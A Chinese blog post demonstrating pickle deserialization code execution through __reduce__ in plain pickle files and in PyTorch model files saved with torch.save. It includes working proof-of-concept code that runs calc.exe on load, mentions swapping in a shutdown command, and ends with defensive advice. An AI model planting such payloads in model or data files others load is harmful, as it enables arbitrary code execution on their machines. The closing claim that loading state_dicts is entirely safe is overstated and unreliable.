PythonPickle/PyTorch反序列化漏洞

Posted 2023-03-07 zstar-_

有人说，不要轻易加载未知来源的模型，否则存在反序列化攻击的风险，本文就对此言论进行测试分析。

Pickle反序列化漏洞

通常情况下，会用到Pickle来将一些变量/对象转换成字节串进行存储，此操作称为序列化。
读取pkl文件，还原其中的数据，此操作称为反序列化。

而在Python中，有一个天然的魔法方法__reduce__，它在进行反序列化中，会自动执行其下的内容，这就造成了一个可被用于攻击的漏洞。

__reduce__方法主要有两种方式，返回字符串或者返回元组，后者可携带一些操作指令。
具体的解释可参考官方文档：https://docs.python.org/3/library/pickle.html

下面看一个示例：

import os
import pickle


class Test(object):
    def __init__(self):
        self.a = 1
        self.b = '2'
        self.c = '3'

    def __reduce__(self):
        return (os.system, ('calc.exe',))


if __name__ == '__main__':
    aa = Test()
    with open("model.pkl", "wb") as f:
        pickle.dump(aa, f, protocol=0)
    with open("model.pkl", "rb") as f:
        A = pickle.load(f)

运行本示例，会发现计算器会被打开，这是因为在反序列化的过程中，执行了'calc.exe'。相当于直接在控制台中输入calc.exe，从而打开计算器。

这个指令可以替换成任何命令，比如shutdown -s -t 0，这样当进行反序列操作后，会直接关机。

PyTorch反序列化漏洞

Pytorch的模型保存和加载底层依然是用到了Pickle，因此同样存在反序列化的漏洞。

下面是个示例：
首先定义一个简单的DNN模型：

import torch
import torch.nn as nn
import torch.nn.functional as F
import os

class Net(nn.Module):
    def __init__(self):
        super(Net, self).__init__()
        self.layer1 = nn.Linear(1, 128)
        self.layer2 = nn.Linear(128, 128)
        self.layer3 = nn.Linear(128, 2)

    def forward(self, x):
        x = F.relu(self.layer1(x))
        x = F.relu(self.layer2(x))
        action = self.layer3(x)
        return action

    def __reduce__(self):
        return (os.system, ('calc.exe',))

然后保存模型，再进行加载：

if __name__ == '__main__':
    a = Net()
    torch.save(a, '12.pt')
    b = torch.load('12.pt')

运行之后，同样可以发现计算器被打开。

上面的方法是保存整个模型，再进行加载。另一种模型保存和加载的方式是仅保存和加载模型的参数。

if __name__ == '__main__':
    a = Net()
    torch.save(a.state_dict(), '12.pt')
    c = Net()
    c.load_state_dict(torch.load('12.pt'))

运行该方法，发现计算器没有被打开。

总结

1. 加载模型时，尽可能不要加载整个模型，否则存在反序列化风险，加载模型参数则不存在风险。
2. Pickle反序列化风险避免方式比较复杂，可以通过黑白名单、禁用R指令等方式，更详细的内容可参考https://zhuanlan.zhihu.com/p/89132768